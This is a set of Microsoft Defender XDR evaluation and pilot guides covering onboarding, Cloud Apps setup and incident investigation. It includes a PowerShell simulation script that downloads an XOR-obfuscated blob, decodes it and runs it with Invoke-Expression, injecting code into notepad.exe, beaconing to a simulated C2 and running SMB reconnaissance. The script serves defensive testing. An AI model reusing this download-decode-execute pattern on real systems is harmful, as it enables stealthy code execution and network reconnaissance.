Article • 04/26/2024
This article will guide you through the steps on setting up the evaluation environment
for Microsoft Defender for Endpoint using production devices.
 Tip
Microsoft Defender for Endpoint also comes with an in-product evaluation lab
where you can add pre-configured devices and run simulations to evaluate the
capabilities of the platform. The lab comes with a simplified set-up experience that
can help quickly demonstrate the value of Microsoft Defender for Endpoint
including guidance for many features like advanced hunting and threat analytics.
For more information, see Evaluate capabilities.
The main difference between the guidance provided in this article and the
evaluation lab is the evaluation environment uses production devices whereas the
evaluation lab uses non-production devices.
Use the following steps to enable the evaluation for Microsoft Defender for Endpoint.
Step 1. Check license state

Step 2. Onboard endpoints
Step 1: Check license state

You'll first need to check the license state to verify that it was properly provisioned. You
can do this through the admin center or through the Microsoft Azure portal.
1. To view your licenses, go to the Microsoft Azure portal and navigate to the
Microsoft Azure portal license section .

2. Alternately, in the admin center, navigate to Billing > Subscriptions.
On the screen, you'll see all the provisioned licenses and their current Status.
Step 2: Onboard endpoints using any of the

supported management tools
After verifying that the license state has been provisioned properly, you can start
onboarding devices to the service.
For the purpose of evaluating Microsoft Defender for Endpoint, we recommend

choosing a couple of Windows devices to conduct the evaluation on.
You can choose to use any of the supported management tools, but Intune provides
optimal integration. For more information, see Configure Microsoft Defender for
Endpoint in Microsoft Intune.
The Plan deployment topic outlines the general steps you need to take to deploy
Watch this video for a quick overview of the onboarding process and learn about the
available tools and methods.
https://www.microsoft.com/en-us/videoplayer/embed/RE4bGqr?postJsllMsg=true
Onboarding tool options

The following table lists the available tools based on the endpoint that you need to
onboard.
ﾉ Expand table
Endpoint Tool options
Windows - Local script (up to 10 devices)

- Group Policy
- Microsoft Intune / Mobile Device Manager
- Microsoft Endpoint Configuration Manager
- VDI scripts
macOS - Local scripts

- Microsoft Intune
- JAMF Pro
- Mobile Device Management
iOS App-based
Android Microsoft Intune
Next step
Setup the pilot for Microsoft Defender for Endpoint
 Tip
Feedback
Was this page helpful?
 Yes  No

Pilot Microsoft Defender for Endpoint
Article • 04/22/2024
This article will guide you in the process of running a pilot for Microsoft Defender for
Endpoint.
Use the following steps to setup and configure the pilot for Microsoft Defender for
Endpoint.
Step 1. Verify pilot group

Step 2. Try out capabilities
When you pilot Microsoft Defender for Endpoint, you may choose to onboard a few
devices to the service before onboarding your entire organization.
You can then try out capabilities that are available such as running attack simulations
and seeing how Defender for Endpoint surfaces malicious activities and enables you to
conduct an efficient response.
Step 1: Verify pilot group

After completing the onboarding steps outlined in the Enable evaluation section, you
should see the devices in the Device inventory list approximately after an hour.
When you see your onboarded devices you can then proceed with trying out
capabilities.
Step 2: Try out capabilities

Now that you've completed onboarding some devices and verified that they are
reporting to the service, familiarize yourself with the product by trying out the powerful
capabilities that are available right out of the box.
During the pilot, you can easily get started with trying out some of the features to see
the product in action without going through complex configuration steps.
Let's start by checking out the dashboards.
View the device inventory

The device inventory is where you'll see the list of endpoints, network devices, and IoT
devices in your network. Not only does it provide you with a view of the devices in your
network, but it also gives your in-depth information about them such as domain, risk
level, OS platform, and other details for easy identification of devices most at risk.
View the Microsoft Defender Vulnerability Management

dashboard
Defender Vulnerability Management management helps you focus on the weaknesses
that pose the most urgent and the highest risk to the organization. From the dashboard,
get a high-level view of the organization exposure score, Microsoft Secure Score for
Devices, device exposure distribution, top security recommendations, top vulnerable
software, top remediation activities, and top exposed device data.
Run a simulation
Microsoft Defender for Endpoint comes with "Do It Yourself" attack scenarios that you
can run on your pilot devices. Each document includes OS and application requirements
as well as detailed instructions that are specific to an attack scenario. These scripts are
safe, documented, and easy to use. These scenarios will reflect Defender for Endpoint
capabilities and walk you through investigation experience.
To run any of the provided simulations, you need at least one onboarded device.
1. In Help > Simulations & tutorials, select which of the available attack scenarios
you would like to simulate:
Scenario 1: Document drops backdoor - simulates delivery of a socially

engineered lure document. The document launches a specially crafted
backdoor that gives attackers control.
Scenario 2: PowerShell script in fileless attack - simulates a fileless attack

that relies on PowerShell, showcasing attack surface reduction and device
learning detection of malicious memory activity.
Scenario 3: Automated incident response - triggers automated investigation,
which automatically hunts for and remediates breach artifacts to scale your
incident response capacity.
2. Download and read the corresponding walkthrough document provided with your
selected scenario.
3. Download the simulation file or copy the simulation script by navigating to Help >
Simulations & tutorials. You can choose to download the file or script on the test
device but it's not mandatory.
4. Run the simulation file or script on the test device as instructed in the walkthrough
document.
７ Note
Simulation files or scripts mimic attack activity but are actually benign and will not
harm or compromise the test device.
Next steps
Evaluate Microsoft Defender for Cloud Apps
 Tip
Feedback

Cloud Apps
Article • 04/22/2024
Applies to:
This article outlines the process to enable and pilot Microsoft Defender for Cloud Apps
alongside Microsoft Defender XDR. Before starting this process, be sure you've reviewed
the overall process for evaluating Microsoft Defender XDR and you have created the
Microsoft Defender XDR evaluation environment.
Use the following steps to enable and pilot Microsoft Defender for Cloud Apps.
ﾉ Expand table
Step Description
Review architecture Understand the Defender for Cloud Apps architecture and how it
requirements and key integrates with Microsoft Defender XDR, Microsoft Defender for
concepts Endpoint, and Microsoft Entra ID.
Enable the evaluation Connect to the portal, configure integration with Defender for
environment Identity and/or your organization's network devices, and begin to
view and manage cloud apps.
Set up the pilot Scope your deployment to certain user groups, configure
Conditional Access App Control, and try out tutorials for protecting
your environment.
 Tip
Feedback

Review architecture requirements and
key concepts for Microsoft Defender for
Cloud Apps
Article • 04/30/2024
Applies to:
Microsoft Defender for Cloud Apps alongside Microsoft Defender XDR. For more
information about this process, see the overview article.
Before enabling Microsoft Defender for Cloud Apps, be sure you understand the

Microsoft Defender for Cloud Apps is a cloud access security broker (CASB). CASBs act a
gatekeeper to broker access in real time between your enterprise users and cloud
resources they use, wherever your users are located and regardless of the device they
are using. Microsoft Defender for Cloud Apps natively integrates with Microsoft security
capabilities, including Microsoft Defender XDR.
Without Defender for Cloud Apps, cloud apps that are used by your organization are
unmanaged and unprotected, as illustrated.
Your managed organization Cloud apps

Cloud app traffic
The use of cloud apps by an organization is unmonitored and unprotected.

This use falls outside the protections achieved within a managed organization.
Discovering cloud apps

The first step to managing the use of cloud apps is to discover which cloud apps are
used by your organization. This next diagram illustrates how cloud discovery works with
Defender for Cloud Apps.
Microsoft Defender XDR Cloud apps
Shared signals
Microsoft Defender for Microsoft Defender for

Endpoint Cloud Apps
Cloud discovery
Firewalls Proxies
Cloud app traffic
On-premises integration

In this illustration, there are two methods that can be used to monitor network traffic
and discover cloud apps that are being used by your organization.
A. Cloud App Discovery integrates with Microsoft Defender for Endpoint natively.
Defender for Endpoint reports cloud apps and services being accessed from IT-
managed Windows 10 and Windows 11 devices.
B. For coverage on all devices connected to a network, the Defender for Cloud
Apps log collector is installed on firewalls and other proxies to collect data from
endpoints. This data is sent to Defender for Cloud Apps for analysis.
Managing cloud apps

After you discover cloud apps and analyze how these apps are used by your
organization, you can begin managing cloud apps that you choose.
Shared signals Sanctioned apps

Cloud Apps
App connectors
Connected app
Some apps are sanctioned for use. This sanction is a simple way of beginning to
manage apps.
You can enable greater visibility and control by connecting apps with app
connectors. App connectors use the APIs of app providers.
Applying session controls to cloud apps

Microsoft Defender for Cloud Apps serves as a reverse proxy, providing proxy access to
sanctioned cloud apps. This provision allows Defender for Cloud Apps to apply session
controls that you configure.
Shared signals Sanctioned apps

Cloud Apps
Proxy access
Session controls

Cloud app traffic
Access to sanctioned cloud apps from users and devices in your organization is
routed through Defender for Cloud Apps.
This proxy access allows session controls to be applied.
Cloud apps that you have not sanctioned or explicitly unsanctioned are not
affected.
Session controls allow you to apply parameters to how cloud apps are used by your
organization. For example, if your organization is using Salesforce, you can configure a
session policy that allows only managed devices to access your organization's data at
Salesforce. A simpler example could be configuring a policy to monitor traffic from
unmanaged devices so you can analyze the risk of this traffic before applying stricter
policies.
Integrating with Microsoft Entra ID with Conditional

Access App Control
You might already have SaaS apps added to your Microsoft Entra tenant to enforce
multi-factor authentication and other conditional access policies. Microsoft Defender for
Cloud Apps natively integrates with Microsoft Entra ID. All you have to do is configure a
policy in Microsoft Entra ID to use Conditional Access App Control in Defender for Cloud
Apps. This routes network traffic for these managed SaaS apps through Defender for
Cloud Apps as a proxy, which allows Defender for Cloud Apps to monitor this traffic and
to apply session controls.
SaaS apps Microsoft Defender XDR
SaaS apps that are integrated with Shared signals

your Microsoft Entra ID tenant

Cloud Apps
Proxy access
Others session controls
Conditional
Access App
Microsoft Control
Entra
Cloud app traffic 
SaaS apps are integrated with the Microsoft Entra tenant. This integration allows
Microsoft Entra ID to enforce conditional access policies, including multi-factor
authentication.
A policy is added to Microsoft Entra ID to direct traffic for SaaS apps to Defender
for Cloud Apps. The policy specifies which SaaS apps to apply this policy to.
Therefore, after Microsoft Entra ID enforces any conditional access policies that
apply to these SaaS apps, Microsoft Entra ID then directs (proxies) the session
traffic through Defender for Cloud Apps.
Defender for Cloud Apps monitors this traffic and applies any session control
policies that have been configured by administrators.
You might have discovered and sanctioned cloud apps using Defender for Cloud Apps
that have not been added to Microsoft Entra ID. You can take advantage of Conditional
Access App Control by adding these cloud apps to your Microsoft Entra tenant and the
scope of your conditional access rules.
Protecting your organization from hackers

Defender for Cloud Apps provides powerful protection on its own. However, when
combined with the other capabilities of Microsoft Defender XDR, Defender for Cloud
Apps provides data into the shared signals which (together) helps stop attacks.
It's worth repeating this illustration from the overview to this Microsoft Defender XDR
evaluation and pilot guide.
Attack attempts:
Phishing mail User opens Malware is Attacker gets Attacker uses Attacker gets
a mail installed the user the identity to and exfiltrates
attachment identity move laterally sensitive data
Mitigated by:
Defender for Office 365 Defender for Defender for Defender for Cloud Apps 
Endpoint Identity
Focusing on the right side of this illustration, Microsoft Defender for Cloud Apps notices
anomalous behavior like impossible-travel, credential access, and unusual download, file
share, or mail forwarding activity and reports these behaviors to the security team.
Therefore, Defender for Cloud Apps helps prevent lateral movement by hackers and
exfiltration of sensitive data. Microsoft 356 Defender for Cloud correlates the signals
from all the components to provide the full attack story.

evaluating, configuring, and deploying Microsoft Defender for Cloud Apps.
ﾉ Expand table
Defender for Presents an overview of the most important Working with the
Cloud Apps information about your organization and gives dashboard
Dashboard links to deeper investigation.
Conditional Reverse proxy architecture that integrates with Protect apps with
Access App your Identity Provider (IdP) to give Microsoft Entra Microsoft Defender for
Control Conditional Access policies and selectively enforce Cloud Apps Conditional
session controls. Access App Control
Cloud App The Cloud App Catalog gives you a full picture Working with App risk
Catalog against Microsoft catalog of over 16,000 cloud scores
apps that are ranked and scored based on more
than 80 risk factors.
Cloud Discovery Cloud Discovery analyzes your traffic logs and is Working with discovered
Dashboard designed to give more insight into how cloud apps
apps are being used in your organization as well
as give alerts and risk levels.
Connected Defender for Cloud Apps provides end-to-end Protecting connected

Apps protection for connected apps using Cloud-to- apps
Cloud integration, API connectors, and real-time
access and session controls using our Conditional
App Access Controls.
Review architecture requirements
Discovering cloud apps

To discover cloud apps used in your environment, you can implement one or both of the
following methods:
Get up and running quickly with Cloud Discovery by integrating with Microsoft
Defender for Endpoint. This native integration enables you to immediately start
collecting data on cloud traffic across your Windows 11 and Windows 10 devices,
on and off your network.
To discover all cloud apps accessed by all devices connected to your network,
deploy the Defender for Cloud Apps log collector on your firewalls and other
proxies. This deployment helps collect data from your endpoints and sends it to
Defender for Cloud Apps for analysis. Defender for Cloud Apps natively integrates
with some third-party proxies for even more capabilities.
These options are included in Step 2. Enable the evaluation environment.
Applying Microsoft Entra Conditional Access policies to

cloud apps
Conditional Access App Control (the ability to apply Conditional Access policies to cloud
apps) requires integration with Microsoft Entra ID. This integration isn't a requirement
for getting started with Defender for Cloud Apps. It is a step we encourage you to try
out during the pilot phase—Step 3. Pilot Microsoft Defender for Cloud Apps.
SIEM integration
You can integrate Microsoft Defender for Cloud Apps with your generic SIEM server or
with Microsoft Sentinel to enable centralized monitoring of alerts and activities from
connected apps.
Additionally, Microsoft Sentinel includes a Microsoft Defender for Cloud Apps connector
to provide deeper integration with Microsoft Sentinel. This arrangement enables you to
not only gain visibility into your cloud apps but to also get sophisticated analytics to
identify and combat cyberthreats and to control how your data travels.
Generic SIEM integration

Stream alerts and Cloud Discovery logs from Defender for Cloud Apps into
Microsoft Sentinel
Next steps
Step 2 of 3: Enable the evaluation environment for Microsoft Defender for Cloud Apps
Return to the overview for Evaluate Microsoft Defender for Cloud Apps
 Tip
Feedback

Enable the evaluation environment for
Article • 04/22/2024
Applies to:
Microsoft Defender for Cloud Apps. For more information about this process, see the
overview article.
This article walks you through the process of accessing the Defender for Cloud Apps
portal and configuring the necessary integration to collect cloud app traffic data.
To discover cloud apps used in your environment, you can implement one or both of the
following methods:
Get up and running quickly with Cloud Discovery by integrating with Microsoft
Defender for Endpoint. This native integration enables you to immediately start
collecting data on cloud traffic across your Windows 10 and Windows 11 devices,
on and off your network.
To discover all cloud apps accessed by all devices connected to your network,
deploy the Defender for Cloud Apps log collector on your firewalls and other
proxies. This deployment helps collect data from your endpoints and sends it to
Defender for Cloud Apps for analysis. Defender for Cloud Apps natively integrates
with some third-party proxies for even more capabilities.
This article includes guidance for both methods.
Use the following steps to set up Microsoft Defender for Cloud Apps.
Step 1. Connect to the Defender for Cloud Apps portal

Step 2. Integrate with Microsoft Defender for Endpoint
Step 3. Deploy the Defender for Cloud Apps log collector on your firewalls and
other proxies
Step 4. View the Cloud Discovery dashboard to see what apps are being used in
your organization
Step 1: Connect to the Defender for Cloud Apps

portal
To verify licensing and to connect to the Defender for Cloud Apps portal, see Quickstart:
Get started with Microsoft Defender for Cloud Apps.
If you're not immediately able to connect to the portal, you might need to add the IP
address to the allowlist of your firewall. See Basic setup for Defender for Cloud Apps.
If you're still having trouble, review Network requirements.
Step 2: Integrate with Microsoft Defender for

Endpoint
Microsoft Defender for Cloud Apps integrates with Microsoft Defender for Endpoint
natively. The integration simplifies roll out of Cloud Discovery, extends Cloud Discovery
capabilities beyond your corporate network, and enables device-based investigation.
This integration reveals cloud apps and services being accessed from IT-managed
Windows 10 and Windows 11 devices.
If you've already set up Microsoft Defender for Endpoint, configuring integration with
Defender for Cloud Apps is a toggle in Microsoft Defender XDR. After integration is
turned on, you can return to the Defender for Cloud Apps portal and view rich data in
the Cloud Discovery Dashboard.
To accomplish these tasks, see Microsoft Defender for Endpoint integration with
Microsoft Defender for Cloud Apps.
Step 3: Deploy the Defender for Cloud Apps

log collector on your firewalls and other
proxies
For coverage on all devices connected to your network, deploy the Defender for Cloud
Apps log collector on your firewalls and other proxies to collect data from your
endpoints and send it to Defender for Cloud Apps for analysis.
If you're using one of the following Secure Web Gateways (SWG), Defender for Cloud
Apps provides seamless deployment and integration:
Zscaler
iboss
Corrata
Menlo Security
For more information on integrating with these network devices, see Set up Cloud
Discovery.
Step 4: View the Cloud Discovery dashboard to

see what apps are being used in your
organization
The Cloud Discovery dashboard is designed to give you more insight into how cloud
apps are being used in your organization. It provides an at-a-glance overview of what
kinds of apps are being used, your open alerts, and the risk levels of apps in your
organization.
To get started using the Cloud Discovery dashboard, see Working with discovered apps.
Next steps
Step 3 of 3: Pilot Microsoft Defender for Cloud Apps
 Tip
Feedback
Pilot Microsoft Defender for Cloud Apps
with Microsoft Defender XDR
Article • 04/25/2024
Applies to:
Microsoft Defender for Cloud Apps. For more information about this process, see the
overview article.
Cloud Apps.
Step 1. Create the pilot group—Scope your pilot deployment to certain user
groups
Step 2. Configure protection—Conditional Access App Control
Step 3. Try out capabilities—Walk through tutorials for protecting your
environment
Step 1: Create the pilot group—Scope your

pilot deployment to certain user groups
Microsoft Defender for Cloud Apps enables you to scope your deployment. Scoping
allows you to select certain user groups to be monitored for apps or excluded from
monitoring. You can include or exclude user groups. To scope your pilot deployment,
see Scoped Deployment.
Step 2: Configure protection—Conditional
Access App Control
One of the most powerful protections you can configure is Conditional Access App
Control. This protection requires integration with Microsoft Entra ID. It allows you to
apply Conditional Access policies, including related policies (like requiring healthy
devices), to cloud apps you've sanctioned.
The first step in using Microsoft Defender for Cloud Apps to manage SaaS apps is to
discover these apps and then add them to your Microsoft Entra tenant. If you need help
with discovery, see Discover and manage SaaS apps in your network. After you've
discovered apps, add these apps to your Microsoft Entra tenant.
You can begin to manage these apps by executing the following tasks:
First, in Microsoft Entra ID, create a new conditional access policy and configure it
to "Use Conditional Access App Control." This configuration helps to redirect the
request to Defender for Cloud Apps. You can create one policy and add all SaaS
apps to this policy.
Next, in Defender for Cloud Apps, create session policies. Create one policy for
each control you want to apply.
For more information, including supported apps and clients, see Protect apps with
Microsoft Defender for Cloud Apps Conditional Access App Control.
For example policies, see Recommended Microsoft Defender for Cloud Apps policies for
SaaS apps. These policies build on a set of common identity and device access policies
that are recommended as a starting point for all customers.
Step 3: Try out capabilities—Walk through

tutorials for protecting your environment
The Microsoft Defender for Cloud Apps documentation includes a series of tutorials to
help you discover risk and protect your environment.
Try out Defender for Cloud Apps tutorials:
Detect suspicious user activity

Investigate risky users
Investigate risky OAuth apps
Discover and protect sensitive information
Protect any app in your organization in real time
Block downloads of sensitive information
Protect your files with admin quarantine
Require step-up authentication upon risky action
For more information on advanced hunting in Microsoft Defender for Cloud Apps data,
see the video .
Next steps
Investigate and respond using Microsoft Defender XDR in a pilot environment
 Tip
Feedback

Step 6. Investigate and respond using
Microsoft Defender XDR in a pilot
environment
Article • 04/22/2024
Applies to:
This article outlines the process to create incidents with attack simulations and tutorials
and use Microsoft Defender XDR to investigate and respond. Before starting this
process, be sure you've reviewed the overall process for evaluating Microsoft Defender
XDR and you have created the Microsoft Defender XDR evaluation environment.
Use the following steps.
ﾉ Expand table
Step Description
1. Simulate attacks Simulate attacks on your evaluation environment and use the
Microsoft Defender portal to perform incident response.
2. Try incident response Try additional incident response features and capabilities in Microsoft
capabilities Defender XDR.
Navigation you may need

Create the Microsoft Defender XDR Evaluation Environment
 Tip
Feedback

Run an attack simulation in a Microsoft
Defender XDR pilot environment
Article • 04/24/2024
This article is Step 1 of 2 in the process of performing an investigation and response of

an incident in Microsoft Defender XDR using a pilot environment. For more information
about this process, see the overview article.
After preparing your pilot environment, it's time to test Microsoft Defender XDR's
incident response and automated investigation and remediation capabilities by creating
an incident with a simulated attack and using the Microsoft Defender portal to
investigate and respond.
An incident in Microsoft Defender XDR is a collection of correlated alerts and associated

data that make up the story of an attack.
Microsoft 365 services and apps create alerts when they detect a suspicious or malicious
event or activity. Individual alerts provide valuable clues about a completed or ongoing
attack. However, attacks typically employ various techniques against different types of
entities, such as devices, users, and mailboxes. The result is multiple alerts for multiple
entities in your tenant.
７ Note
If you are brand new to security analysis and incident response, see the Respond to
your first incident walkthrough to get a guided tour of a typical process of
analysis, remediation, and post-incident review.
Simulate attacks with the Microsoft Defender

portal
The Microsoft Defender portal has built-in capabilities to create simulated attacks on
your pilot environment:
Attack simulation training for Microsoft Defender XDR for Office 365 at
https://security.microsoft.com/attacksimulator .
In the Microsoft Defender portal, select Email & collaboration > Attack simulation
training.
Attack tutorials & simulations for Microsoft Defender XDR for Endpoint at
https://security.microsoft.com/tutorials/simulations .
In the Microsoft Defender portal , select Endpoints > Tutorials & simulations.
Defender for Office 365 Attack simulation training

Defender for Office 365 with Microsoft 365 E5 or Microsoft Defender for Office 365 Plan
2 includes attack simulation training for phishing attacks. The basic steps are:
1. Create a simulation
For step by step instructions on how to create and launch a new simulation, see
Simulate a phishing attack.
2. Create a payload
For step by step instructions on how to create a payload for use within a
simulation, see Create a custom payload for attack simulation training.
3. Gaining insights
For step by step instructions on how to gain insights with reporting, see Gain
insights through attack simulation training.
https://www.microsoft.com/en-us/videoplayer/embed/RWMhvB?postJsllMsg=true
For more information, see Simulations.
Defender for Endpoint attack tutorials & simulations

Here are the Defender for Endpoint simulations from Microsoft:
Document drops backdoor

Automated investigation (backdoor)
There are additional simulations from third-party sources. There are also a set of
tutorials.
For each simulation or tutorial:
1. Download and read the corresponding walk-through document provided.
2. Download the simulation file. You can choose to download the file or script on the
test device but it's not mandatory.
3. Run the simulation file or script on the test device as instructed in the walk-
through document.
For more information, see Experience Microsoft Defender for Endpoint through
simulated attack.
Simulate an attack with an isolated domain

controller and client device (optional)
In this optional incident response exercise, you'll simulate an attack on an isolated
Active Directory Domain Services (AD DS) domain controller and Windows device using
a PowerShell script and then investigate, remediate, and resolve the incident.
First, you need to add endpoints to your pilot environment.
Add pilot environment endpoints

First, you need to add an isolated AD DS domain controller and a Windows device to
your pilot environment.
1. Verify your pilot environment tenant has enabled Microsoft Defender XDR.
2. Verify that your domain controller:
Runs Windows Server 2008 R2 or a later version.

Reports to Microsoft Defender for Identity and has enabled remote
management.
Has Microsoft Defender for Identity and Microsoft Defender for Cloud Apps
integration enabled.
Has a test user is created in the test domain. Administrator-level permissions
are not needed.
3. Verify that your test device:
Runs Windows 10 version 1903 or a later version.

Is joined to the AD DS domain controller domain.
Has Microsoft Defender Antivirus enabled. If you are having trouble enabling
Microsoft Defender Antivirus, see this troubleshooting topic.
Is onboarded to Microsoft Defender for Endpoint.
If you use tenant and device groups, create a dedicated device group for the test device
and push it to top level.
One alternative is to host your AD DS domain controller and test device as virtual
machines in Microsoft Azure infrastructure services. You can use the instructions in
Phase 1 of the simulated enterprise Test Lab Guide, but skip the creation of the APP1
virtual machine.
Here is the result.
You'll simulate a sophisticated attack that leverages advanced techniques to hide from
detection. The attack enumerates opened Server Message Block (SMB) sessions on
domain controllers and retrieves recent IP addresses of users' devices. This category of
attacks usually doesn't include files dropped on the victim's device and they occur solely
in memory. They "live off the land" by using existing system and administrative tools
and inject their code into system processes to hide their execution. Such behavior allows
them to evade detection and persist on the device.
In this simulation, our sample scenario starts with a PowerShell script. In the real world, a
user might be tricked into running a script or the script might run from a remote
connection to another computer from a previously infected device, which indicates that
the attacker is attempting to move laterally in the network. Detection of these scripts
can be difficult because administrators also often run scripts remotely to carry out
various administrative activities.

During the simulation, the attack injects shellcode into a seemingly innocent process.
The scenario requires the use of notepad.exe. We chose this process for the simulation,
but attackers would more likely target a long-running system process, such as
svchost.exe. The shellcode then goes on to contact the attacker's command-and-control
(C2) server to receive instructions on how to proceed. The script attempts executing
reconnaissance queries against the domain controller (DC). Reconnaissance allows an
attacker to get information about recent user login information. Once attackers have
this information, they can move laterally in the network to get to a specific sensitive
account
） Important
For optimum results, follow the attack simulation instructions as closely as possible.
Run the isolated AD DS domain controller attack

simulation
To run the attack scenario simulation:
1. Ensure that your pilot environment includes the isolated AD DS domain controller
and Windows device.
2. Sign in to the test device with the test user account.
3. Open a Windows PowerShell window on the test device.
4. Copy the following simulation script:
PowerShell
[Net.ServicePointManager]::SecurityProtocol =
[Net.SecurityProtocolType]::Tls12
;$xor = [System.Text.Encoding]::UTF8.GetBytes('WinATP-Intro-
Injection');
$base64String = (Invoke-WebRequest -URI
"https://wcdstaticfilesprdeus.blob.core.windows.net/wcdstaticfiles/MTP_
Fileless_Recon.txt" -UseBasicParsing).Content;Try{ $contentBytes =
[System.Convert]::FromBase64String($base64String) } Catch {
$contentBytes =
[System.Convert]::FromBase64String($base64String.Substring(3)) };$i =
0;
$decryptedBytes = @();$contentBytes.foreach{ $decryptedBytes += $_ -
bxor $xor[$i];
$i++; if ($i -eq $xor.Length) {$i = 0} };Invoke-Expression
([System.Text.Encoding]::UTF8.GetString($decryptedBytes))
７ Note
If you open this article on a web browser, you might encounter problems
copying the full text without losing certain characters or introducing extra line
breaks. If this is the case, download this document and open it on Adobe
Reader.
5. Paste and run the copied script in the PowerShell window.
７ Note
If you're running PowerShell using remote desktop protocol (RDP), use the Type
Clipboard Text command in the RDP client because the CTRL-V hotkey or right-
click-paste method might not work. Recent versions of PowerShell sometimes will
also not accept that method, you might have to copy to Notepad in memory first,
copy it in the virtual machine, and then paste it into PowerShell.
A few seconds later, the Notepad app will open. A simulated attack code will be injected
into Notepad. Keep the automatically generated Notepad instance open to experience
the full scenario.
The simulated attack code will attempt to communicate to an external IP address

(simulating the C2 server) and then attempt reconnaissance against the domain
controller through SMB.
You'll see this message displayed on the PowerShell console when this script completes:
Console
ran NetSessionEnum against [DC Name] with return code result 0
To see the Automated Incident and Response feature in action, keep the notepad.exe
process open. You'll see Automated Incident and Response stop the Notepad process.
Investigate the incident for the simulated attack
７ Note
Before we walk you through this simulation, watch the following video to see how
incident management helps you piece the related alerts together as part of the
investigation process, where you can find it in the portal, and how it can help you in
your security operations:
https://www.microsoft.com/en-us/videoplayer/embed/RE4Bzwz?postJsllMsg=true
Switching to the SOC analyst point of view, you can now start to investigate the attack in
the Microsoft Defender portal.
1. Open the Microsoft Defender portal .
2. From the navigation pane, select Incidents & Alerts > Incidents.
3. The new incident for the simulated attack will appear in the incident queue.
Investigate the attack as a single incident

Microsoft Defender XDR correlates analytics and aggregates all related alerts and
investigations from different products into one incident entity. By doing so, Microsoft
Defender XDR shows a broader attack story, allowing the SOC analyst to understand
and respond to complex threats.
The alerts generated during this simulation are associated with the same threat, and as a
result, are automatically aggregated as a single incident.
To view the incident:

2. From the navigation pane, select Incidents & Alerts > Incidents.
3. Select the newest item by clicking on the circle located left of the incident name. A
side panel displays additional information about the incident, including all the
related alerts. Each incident has a unique name that describes it based on the
attributes of the alerts it includes.
The alerts that are shown in the dashboard can be filtered based on service
resources: Microsoft Defender for Identity, Microsoft Defender for Cloud Apps,
Microsoft Defender for Endpoint, Microsoft Defender XDR, and Microsoft Defender
for Office 365.
4. Select Open incident page to get more information about the incident.
In the Incident page, you can see all the alerts and information related to the
incident. The information includes the entities and assets that are involved in the
alert, the detection source of the alerts (such as Microsoft Defender for Identity or
Microsoft Defender for Endpoint), and the reason they were linked together.
Reviewing the incident alert list shows the progression of the attack. From this
view, you can see and investigate the individual alerts.
You can also click Manage incident from the right-hand menu, to tag the incident,
assign it to yourself, and add comments.
Review generated alerts
Let's look at some of the alerts generated during the simulated attack.
７ Note
We'll walk through only a few of the alerts generated during the simulated attack.
Depending on the version of Windows and the Microsoft Defender XDR products
running on your test device, you might see more alerts that appear in a slightly
different order.

Alert: Suspicious process injection observed (Source: Microsoft
Defender for Endpoint)
Advanced attackers use sophisticated and stealthy methods to persist in memory and
hide from detection tools. One common technique is to operate from within a trusted
system process rather than a malicious executable, making it hard for detection tools
and security operations to spot the malicious code.
To allow the SOC analysts to catch these advanced attacks, deep memory sensors in
Microsoft Defender for Endpoint provide our cloud service with unprecedented visibility
into a variety of cross-process code injection techniques. The following figure shows
how Defender for Endpoint detected and alerted on the attempt to inject code to
notepad.exe.
Alert: Unexpected behavior observed by a process run with no

command-line arguments (Source: Microsoft Defender for
Endpoint)
Microsoft Defender for Endpoint detections often target the most common attribute of
an attack technique. This method ensures durability and raises the bar for attackers to
switch to newer tactics.
We employ large-scale learning algorithms to establish the normal behavior of common

processes within an organization and worldwide and watch for when these processes
show anomalous behaviors. These anomalous behaviors often indicate that extraneous
code was introduced and is running in an otherwise trusted process.
For this scenario, the process notepad.exe is exhibiting abnormal behavior, involving
communication with an external location. This outcome is independent of the specific
method used to introduce and execute the malicious code.
７ Note
Because this alert is based on machine learning models that require additional
backend processing, it might take some time before you see this alert in the portal.
Notice that the alert details include the external IP address—an indicator that you can
use as a pivot to expand investigation.
Select the IP address in the alert process tree to view the IP address details page.
The following figure displays the selected IP Address details page (clicking on IP address
in the Alert process tree).

Alert: User and IP address reconnaissance (SMB) (Source:
Microsoft Defender for Identity)
Enumeration using Server Message Block (SMB) protocol enables attackers to get recent
user logon information that helps them move laterally through the network to access a
specific sensitive account.
In this detection, an alert is triggered when the SMB session enumeration runs against a
domain controller.
Review the device timeline with Microsoft Defender for Endpoint

After exploring the various alerts in this incident, navigate back to the incident page you
investigated earlier. Select the Devices tab in the incident page to review the devices
involved in this incident as reported by Microsoft Defender for Endpoint and Microsoft
Defender for Identity.
Select the name of the device where the attack was conducted, to open the entity page
for that specific device. In that page, you can see alerts that were triggered and related
events.
Select the Timeline tab to open the device timeline and view all events and behaviors
observed on the device in chronological order, interspersed with the alerts raised.

Expanding some of the more interesting behaviors provides useful details, such as
process trees.
For example, scroll down until you find the alert event Suspicious process injection
observed. Select the powershell.exe injected to notepad.exe process event below it, to
display the full process tree for this behavior under the Event entities graph on the side
pane. Use the search bar for filtering if necessary.
Review the user information with Microsoft Defender for Cloud

Apps
On the incident page, select the Users tab to display the list of users involved in the
attack. The table contains additional information about each user, including each user's
Investigation Priority score.
Select the user name to open the user's profile page where further investigation can be
conducted. Read more about investigating risky users.
Automated investigation and remediation
７ Note
Before we walk you through this simulation, watch the following video to get
familiar with what automated self-healing is, where to find it in the portal, and how
it can help in your security operations:
https://www.microsoft.com/en-us/videoplayer/embed/RE4BzwB?postJsllMsg=true
Navigate back to the incident in the Microsoft Defender portal. The Investigations tab in
the Incident page shows the automated investigations that were triggered by Microsoft
Defender for Identity and Microsoft Defender for Endpoint. The screenshot below
displays only the automated investigation triggered by Defender for Endpoint. By
default, Defender for Endpoint automatically remediates the artifacts found in the
queue, which requires remediation.

Select the alert that triggered an investigation to open the Investigation details page.
You'll see the following details:
Alert(s) that triggered the automated investigation.

Impacted users and devices. If indicators are found on additional devices, these
additional devices will be listed as well.
List of evidence. The entities found and analyzed, such as files, processes, services,
drivers, and network addresses. These entities are analyzed for possible
relationships to the alert and rated as benign or malicious.
Threats found. Known threats that are found during the investigation.
７ Note
Depending on timing, the automated investigation might still be running. Wait a

few minutes for the process to complete before you collect and analyze the
evidence and review the results. Refresh the Investigation details page to get the
latest findings.
During the automated investigation, Microsoft Defender for Endpoint identified the
notepad.exe process, which was injected as one of the artifacts requiring remediation.
Defender for Endpoint automatically stops the suspicious process injection as part of the
automated remediation.
You can see notepad.exe disappear from the list of running processes on the test device.
Resolve the incident

After the investigation is complete and confirmed to be remediated, you resolve the
incident.
From the Incident page, select Manage incident. Set the status to Resolve incident and
select True alert for the classification and Security testing for the determination.
When the incident is resolved, it resolves all of the associated alerts in the Microsoft
Defender portal and the related portals.
